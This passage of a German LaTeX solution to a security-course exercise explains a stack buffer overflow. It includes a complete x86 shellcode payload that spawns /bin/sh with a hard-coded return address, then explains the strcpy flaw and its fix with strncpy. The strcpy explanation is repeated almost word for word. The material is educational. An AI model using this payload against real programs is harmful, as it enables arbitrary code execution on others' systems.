Assignment-6 #3

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\item Mit dem Kommandozeilenargument \lstinline{$(printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80AAAAAAA\xEF\xBE\xDE\xC0")} wird der Shellcode in \\ \lstinline{padded_password} an Position \lstinline{0xC0DEBEEF} ausgeführt.
Sollte sich \lstinline{padded_password} an einer anderen Position im Speicher befinden, funktioniert der Angriff nicht, da der Shellcode gar nicht, oder nur teilweise ausgeführt wird.
\item \lstinline{strcpy(3p)}\footnote{https://www.man7.org/linux/man-pages/man3/strcpy.3.html} berücksichtigt nicht die maximale Länge des Zielspeichers.
Die Funktion \\ \lstinline{strncpy(3p)}\footnote{https://www.man7.org/linux/man-pages/man3/strncpy.3.html} berücksichtigt die maximale Länge des Zielspeichers, indem dessen Länge als Parameter an die Funktion übergeben wird.
\item \lstinline{strcpy(3p)}\footnote{https://www.man7.org/linux/man-pages/man3/strcpy.3p.html} berücksichtigt nicht die maximale Länge des Zielspeichers.
Die Funktion \\ \lstinline{strncpy(3p)}\footnote{https://www.man7.org/linux/man-pages/man3/strncpy.3p.html} berücksichtigt die maximale Länge des Zielspeichers, indem dessen Länge als Parameter an die Funktion übergeben wird.
\lstinline{strncpy(3p)} schreibt niemals (inklusive Nullbyte) über den angegebenen Speicherbereich hinaus.
Konkret muss in diesem Fall die Zeile 12 \lstinline{strcpy(padded_password, password);} durch \lstinline{strncpy(padded_password, password, 24);} getauscht werden, um die Sicherheitslücke zu schließen.
\end{subexercises}